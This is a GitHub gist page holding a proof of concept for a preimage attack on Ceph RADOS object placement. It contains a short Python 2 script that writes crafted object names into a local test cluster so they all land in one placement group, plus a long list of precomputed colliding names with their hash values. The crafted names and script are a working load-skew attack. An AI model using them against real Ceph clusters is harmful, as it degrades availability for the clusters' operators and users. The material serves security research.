Created
July 30, 2014 13:00
-
-
Save daniel-j-h/b4cfcfe56af6e72bcc01 to your computer and use it in GitHub Desktop.
Preimage Attack on RADOS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
# I used this in order to insert the preimages into a local ceph cluster, | |
# started in my ceph dev directory via src/vstart.sh. Adapt paths if needed. | |
import sys, os | |
srcdir = '/home/daniel/cn-work/ceph-dev/src' | |
pool = 'collisions' | |
sys.path.append('{}/pybind/'.format(srcdir)) | |
from rados import Rados | |
try: | |
cluster = Rados(conffile='{}/ceph.conf'.format(srcdir)) | |
cluster.connect() | |
except Exception as e: | |
print('Hint: set -x LD_LIBRARY_PATH $LD_LIBRARY_PATH {}/.libs\n'.format(srcdir)) | |
raise | |
print('Connected.') | |
# XXX: hex lit: always two digits: \x12 (unlike C) | |
preimages = ( | |
'\x8b\x22\x5e\x3e\x96', | |
'\x8b\x36\x40\x6f\x89', | |
'\x4b\x79\x82\x88\xce', | |
'\x8b\x7e\x6f\xa8\x1b', | |
'\x4b\x9e\x2d\x8e\x3d', | |
'\x4b\xcf\xb7\x53\xf7', | |
'\x4b\xe2\x9a\x3f\x29', | |
) | |
with cluster.open_ioctx(pool) as io: | |
for oname in preimages: | |
print('Preimage: {}'.format(map(ord,oname))) | |
io.write_full(oname, "dummy payload") | |
cluster.shutdown() | |
print('Disconnected.') | |
print('Confirm placement with: ./ceph pg dump') | |
# -> expected result: all objects mapped to single pg, instead of uniform distribution |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# pg = v mod num_pgs, object's name in hex | |
381933444, 1 1 1 17 2e | |
381933444, 41 1e f8 5e 22 | |
4, 41 37 ac b 5b | |
381933444, 41 5b d2 c2 c3 | |
4, 41 78 7 d7 17 | |
381933444, 1 a4 34 f6 c0 | |
4, 82 84 c1 d2 cb | |
4, 42 89 b1 f5 e2 | |
4, 82 93 29 ec 37 | |
381933444, 42 ca 78 4f 47 | |
381933444, 82 e8 ea fe 16 | |
4, 2 27 f1 d0 db | |
381933444, 43 38 3c 6b c7 | |
4, 2 3e bb c 4f | |
4, 2 42 29 76 4d | |
381933444, 83 58 1 33 33 | |
381933444, 83 ed 20 90 ee | |
381933444, 83 f6 8d 18 c2 | |
381933444, 84 24 eb 2a e5 | |
381933444, 44 29 89 76 1d | |
4, 84 38 b9 b5 1f | |
4, 2 dd 3f a1 7a | |
381933444, 84 c7 10 92 58 | |
4, 3 d 91 a3 ce | |
381933444, 85 61 32 d0 27 | |
381933444, 3 6a 9d 2f 81 | |
381933444, 45 fa 43 e4 9 | |
381933444, 46 95 2c 50 66 | |
4, 4 18 28 56 8b | |
381933444, 86 be 8d a3 d1 | |
381933444, 86 e6 17 52 6e | |
381933444, 87 63 a7 85 bb | |
4, 87 6a 26 5b 6e | |
381933444, 4 a6 3f 4c f9 | |
381933444, 88 32 a1 80 74 | |
4, 4 f5 93 49 2e | |
4, 4 f7 27 5c a2 | |
381933444, 48 93 66 81 1 | |
381933444, 89 51 3c 87 2b | |
4, 49 75 8d 11 68 | |
381933444, 49 75 c9 f e4 | |
381933444, 5 8f 2e 41 cc | |
381933444, 49 97 69 a2 31 | |
4, 5 a3 50 d1 81 | |
4, 49 c8 d1 2b b4 | |
381933444, 4a 21 25 93 24 | |
4, 6 6 e3 b2 90 | |
381933444, 8a 93 ed ab 25 | |
4, 8a ad 8 31 23 | |
381933444, 4a d0 4d 8c 1b | |
4, 6 4b e2 29 7b | |
381933444, 8b 22 5e 3e 96 | |
4, 8b 36 40 6f 89 | |
4, 4b 79 82 88 ce | |
4, 8b 7e 6f a8 1b | |
4, 4b 9e 2d 8e 3d | |
4, 4b cf b7 53 f7 | |
4, 4b e2 9a 3f 29 | |
381933444, 4c 6c 4c a0 e2 | |
4, 4c 71 e2 ec 26 | |
381933444, 8d 1c 4a 4a 5 | |
381933444, 4d 3a 57 3e 12 | |
381933444, 8d 68 bd 25 8f | |
4, 8d 89 8 90 2d | |
4, 8d 9e fd 5a 1d | |
381933444, 4e 1e 84 6f a4 | |
381933444, 4e 2c 2d 35 d2 | |
381933444, 4e 3f f9 1b fa | |
4, 4e 5e fc 5f 7b | |
4, 4e 67 ba cd 4a | |
381933444, 4e 6a 8e 22 60 | |
381933444, 8 66 30 68 b4 | |
381933444, 8 75 d de 4a | |
4, 8e f8 82 72 b9 | |
4, 4f 3e b7 a0 3a | |
4, 8f 7e 4d 63 3d | |
381933444, 4f db 95 3f 10 | |
381933444, 90 10 e2 62 3 | |
381933444, 90 26 2 84 c | |
4, 50 5a 25 8 e9 | |
381933444, 9 92 4 b3 ac | |
381933444, 50 de 76 7d 6f | |
381933444, 90 e7 66 9e e9 | |
381933444, 51 14 fa 7f 5c | |
4, 91 14 5d 11 90 | |
381933444, 91 4a ba 9c 43 | |
381933444, 51 4d f7 1 d2 | |
381933444, 91 61 a0 d4 20 | |
381933444, 52 2 bf 33 76 | |
4, 52 31 52 ec 96 | |
4, 52 47 9c f6 1e | |
381933444, 92 5b dd ca f9 | |
381933444, a 70 5e 71 eb | |
381933444, 52 b7 16 ca 5c | |
4, 52 c3 8f 7 54 | |
4, a 96 9a 21 ed | |
381933444, a b0 6b bd 75 | |
381933444, 93 25 e5 8d 1a | |
4, 93 42 6d 55 a7 | |
4, 53 97 e2 bc 4b | |
381933444, 93 ae 9d 38 de | |
4, 53 cb 5c e0 96 | |
381933444, 93 ca 53 c8 bd | |
4, b 25 f2 7d 60 | |
381933444, 53 e7 2a ac 9b | |
4, 93 e6 26 c8 11 | |
4, 94 5 62 c1 8d | |
4, 54 27 43 47 16 | |
381933444, 54 8a 26 c 47 | |
381933444, 94 96 61 4d aa | |
4, 54 ac f3 b8 b6 | |
4, 54 c1 3e e7 cc | |
4, 94 cb 5b b1 db | |
4, 55 6 b1 3a d7 | |
4, 95 f 11 73 da | |
4, 55 39 3c 93 d | |
4, 55 72 90 1a 62 | |
381933444, 55 c0 f7 d7 2 | |
4, 96 83 5e b5 3f | |
381933444, 56 e3 7e d2 cc | |
381933444, 57 ad 3e e5 ed | |
381933444, 97 a4 b9 8d 1a | |
4, 57 d5 c8 7 c3 | |
381933444, 97 d0 39 35 f5 | |
4, 58 3d c6 17 e5 | |
4, 98 40 14 c3 9a | |
4, d 97 30 50 c9 | |
381933444, d bc 88 75 e9 | |
4, 58 e0 3b 84 f2 | |
4, d f4 d6 9c 54 | |
381933444, 98 fe f6 49 86 | |
381933444, 99 18 1d bc 86 | |
4, 59 43 bb 1c 74 | |
4, 59 5b 8d aa e | |
4, 59 5e 8e 67 ba | |
4, 59 95 57 2d b4 | |
4, 99 9b 2a 31 ea | |
381933444, 99 ce de b2 9 | |
4, e 77 b a9 8b | |
381933444, 9a 3e ad 3d 7e | |
381933444, 9a ab d1 97 34 | |
4, 5a c8 90 86 3d | |
4, e e5 a2 c3 b1 | |
381933444, 9a e2 8e 57 b1 | |
4, 9b 3a 37 29 46 | |
4, 5b 71 ba 50 79 | |
381933444, f 4e 8 a3 2c | |
381933444, 9b a0 f9 21 6a | |
4, 9b f0 fb 47 1a | |
381933444, 9c 4a 1b c6 a8 | |
4, 9c b4 fd 9 55 | |
381933444, 5d 5 58 a0 30 | |
4, 5d 41 64 f6 65 | |
4, 5d 42 2f f4 98 | |
4, 5d 5c e8 47 e3 | |
4, 10 54 c8 3c fc | |
381933444, 9d c4 8b e7 52 | |
381933444, 5e 4 74 a4 ea | |
381933444, 10 ab a3 39 68 | |
381933444, 5e 79 86 eb 83 | |
4, 9e 87 f5 79 73 | |
381933444, 9e b7 e 70 14 | |
381933444, 5e ef 9a 65 f0 | |
4, 5f d 4a 95 d9 | |
4, 9f 2c 6c f9 20 | |
381933444, 5f 4c f0 f eb | |
381933444, 9f 48 11 5c 97 | |
381933444, 5f 94 af 42 98 | |
4, 9f ce 5a f2 70 | |
381933444, 9f f2 d1 d8 f9 | |
4, a0 21 31 5 7a | |
4, 11 c9 3d ac c8 | |
4, a0 3c 3b b2 8b | |
4, a0 56 fd 81 a2 | |
4, 60 70 3d 1c 82 | |
4, 60 99 59 50 7c | |
4, a0 93 cb c6 99 | |
4, a0 c9 f fa 81 | |
381933444, 60 f7 39 df b8 | |
381933444, a0 f2 c4 2f 15 | |
4, a0 f6 4d 15 c3 | |
381933444, a1 11 8b de 35 | |
4, 12 51 35 9c 72 | |
381933444, a1 4f 9e 95 13 | |
381933444, 61 8f 82 d9 63 | |
4, 61 bc 2 6a f2 | |
4, a1 f1 88 e6 e1 | |
381933444, a1 f9 60 68 1e | |
381933444, 62 23 9b ee 3c | |
381933444, 62 2a 86 7c 32 | |
381933444, 62 aa 3 32 f7 | |
4, 62 d9 25 2c 47 | |
4, 62 fa f3 18 d4 | |
4, 63 36 e1 9d 3c | |
4, 63 50 bc 26 71 | |
381933444, 13 79 6 7f 9 | |
4, a3 88 42 f6 6f | |
381933444, 13 f1 64 8a 18 | |
381933444, 14 d a2 27 a4 | |
4, a4 e6 5c e1 65 | |
4, a5 89 a6 41 c9 | |
4, a5 8b c a2 4d | |
381933444, 65 f7 2e d0 ba | |
381933444, a5 ee 36 b3 51 | |
4, a5 fc 89 ab d9 | |
4, 15 23 40 21 42 | |
381933444, 15 34 2c 39 83 | |
381933444, 15 45 60 82 c6 | |
381933444, 66 bf 7c b0 49 | |
4, a6 c8 3a 38 28 | |
4, 66 e8 a 69 23 | |
4, a6 e5 43 b4 aa | |
4, 15 75 7d d0 c8 | |
4, 15 9a 35 fb 2d | |
4, a7 6d 33 7b bd | |
381933444, 15 c4 ed 36 93 | |
4, a7 95 37 52 3e | |
381933444, 67 ab d 41 50 | |
381933444, a7 d9 95 43 56 | |
381933444, 68 d 74 2b e8 | |
381933444, 68 29 f5 40 40 | |
4, 68 8e e2 41 f2 | |
4, 69 74 fb ef 30 | |
4, aa 3 26 b5 2a | |
381933444, aa c fc 27 57 | |
4, 17 93 7f 2a 14 | |
381933444, ab 53 a 7 95 | |
381933444, 6b f8 aa e6 ac | |
4, ac f 2f a1 be | |
4, ac 70 5c 33 b | |
381933444, ac 97 b5 10 31 | |
4, 18 a2 b3 c3 31 | |
4, ac f9 9b 3a 29 | |
381933444, 6d 17 18 cc 74 | |
4, 19 11 79 1 d9 | |
4, ae 31 97 dc 8c | |
381933444, ae a0 7d 13 c6 | |
381933444, ae b7 46 19 2b | |
4, ae d5 26 f2 cc | |
4, 6f c3 e0 fb 39 | |
381933444, af f4 48 c3 1e | |
381933444, 70 2 e3 54 b4 | |
4, 70 50 62 b3 e6 | |
381933444, 70 a2 14 f2 aa | |
381933444, 1b 10 2f e8 e8 | |
4, 71 76 4e 73 d | |
381933444, b1 d2 e2 6f 91 | |
381933444, b1 d4 1c 8b 9f | |
4, 72 21 89 27 95 | |
4, 72 65 5f fe 9c | |
4, b2 c7 57 e1 32 | |
381933444, b2 ec f9 f9 48 | |
381933444, 72 ef 87 b5 cc | |
381933444, 1b fc 80 22 82 | |
381933444, 1b fd 2a d0 3d | |
381933444, 1c 4a 42 57 80 | |
4, b3 aa 9e a5 4d | |
4, b4 58 fd 63 2f | |
381933444, 74 85 24 83 e1 | |
381933444, 74 91 9d d2 16 | |
381933444, 74 a1 76 ed 76 | |
4, b5 7f a6 93 b4 | |
381933444, b5 b4 e8 49 87 | |
4, 1d 74 73 31 c1 | |
381933444, b6 48 7c 8c 37 | |
4, b6 86 4a ad fb | |
381933444, b6 b7 18 28 c5 | |
381933444, 1d ef 1f c4 e | |
381933444, 76 d9 31 2e 8d | |
4, 77 5b 26 c6 dc | |
4, 1e 41 d1 e4 8c | |
381933444, 1e 80 3f aa 52 | |
4, 77 d5 3a d 4b | |
381933444, b7 e4 1e 85 a9 | |
381933444, 1e 8f 57 ba b7 | |
381933444, b8 e 85 b fc | |
381933444, b8 d9 24 d1 60 | |
4, 78 e8 8a cf ef | |
4, 1f 25 5e 26 76 | |
381933444, 1f 38 d6 d5 ab | |
4, b9 43 b6 10 52 | |
4, b9 67 61 41 e3 | |
4, b9 97 be 75 14 | |
381933444, b9 a1 33 b3 7f | |
381933444, 79 a9 cf 90 8c | |
381933444, 1f a2 3f 8c 77 | |
381933444, 1f c3 fa 13 41 | |
381933444, 1f dd 79 73 95 | |
4, ba 5c 82 cf f3 | |
4, 7a a0 d0 db 3a | |
381933444, 7b 26 4e 2d 6b | |
381933444, 7b 34 6b ad 8 | |
381933444, bb 51 a4 e1 17 | |
4, 20 67 20 a9 a9 | |
4, 7b 50 29 70 2a | |
381933444, bb 96 af 63 ac | |
4, bb b6 23 74 a4 | |
381933444, bc a aa 8f ea | |
4, 7c 22 92 56 f2 | |
381933444, 20 e0 50 cb f2 | |
381933444, bc 98 a8 b8 a0 | |
381933444, 21 20 e2 dd e1 | |
381933444, bd 7 e4 5d d5 | |
381933444, 7d 5 f0 5d 7b | |
4, 21 61 17 56 c | |
381933444, 7d 41 c9 74 16 | |
4, 21 72 58 6 1 | |
4, 7d b7 4d 54 bc | |
381933444, 7e 33 97 27 9d | |
4, 7e 68 b9 ea db | |
381933444, 7e c6 aa 92 f | |
381933444, be ec 90 d0 ab | |
4, 7f 49 fe 53 d4 | |
381933444, 7f 5b 52 d5 52 | |
381933444, 22 ab cb 2f 97 | |
4, 7f d4 f9 79 4c | |
381933444, c0 24 7b 9f 6e | |
4, 23 21 f1 5a e | |
381933444, c0 de 23 fe de | |
381933444, c0 fc 5b 35 ad | |
381933444, 24 12 d7 5c dd | |
381933444, 24 f9 24 d6 4e | |
381933444, 26 1c 95 7 71 | |
4, 26 35 89 73 5e | |
381933444, 27 22 cc da c4 | |
381933444, 28 28 32 2e fb | |
4, 28 43 46 8d dc | |
381933444, 29 9c d7 49 45 | |
381933444, 29 cb 88 67 21 | |
4, 2a 4c 36 9a e1 | |
381933444, 2a 95 13 c7 ad | |
381933444, 2a da 3e 3a ac | |
4, 2b c4 fe a6 ef | |
4, 2b eb b2 2d b5 | |
4, 2b f7 b1 69 46 | |
381933444, 2c 45 18 34 5d | |
381933444, 2c 78 4c e4 ce | |
381933444, 2c 7d 42 22 b5 | |
4, 2d 7 26 e5 26 | |
381933444, 2d 45 11 9a bd | |
4, 2d 60 7a e9 12 | |
4, 30 8 58 5e a4 | |
381933444, 30 c4 f6 51 92 | |
4, 31 44 49 71 b9 | |
4, 31 71 59 a5 2a | |
4, 31 ce f7 d3 88 | |
381933444, 32 3c 50 ac cb | |
4, 32 a6 86 f4 3b | |
4, 33 42 43 53 19 | |
4, 33 7f a0 52 1b | |
4, 33 c5 f1 5a 9 | |
381933444, 33 d3 1d 8a b | |
4, 34 a6 b6 b5 8 | |
4, 34 aa c ca d0 | |
4, 34 d5 cc 18 c | |
4, 35 d ba 6a bf | |
4, 36 39 aa 1b 3b | |
4, 36 dc c5 69 b8 | |
4, 37 c2 43 1c 5f | |
381933444, 37 ce 1 9d 6 | |
381933444, 38 28 59 3e 32 | |
381933444, 38 e6 93 f0 b6 | |
4, 39 49 14 c5 b2 | |
381933444, 39 a8 a6 56 c9 | |
381933444, 3a 1f cf 7d d5 | |
381933444, 3a 8a b6 40 e4 | |
381933444, 3a ac 2e de 42 | |
4, 3b a7 56 bb 9c | |
4, 3c 6b 50 92 c3 | |
381933444, 3c ad 1a e3 a | |
4, 3c c9 6a 5e 5 | |
4, 3d a fa c4 4c | |
4, 3d 20 d4 77 c3 | |
381933444, 3d 94 3c 3e e8 | |
381933444, 3e c 86 74 b8 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment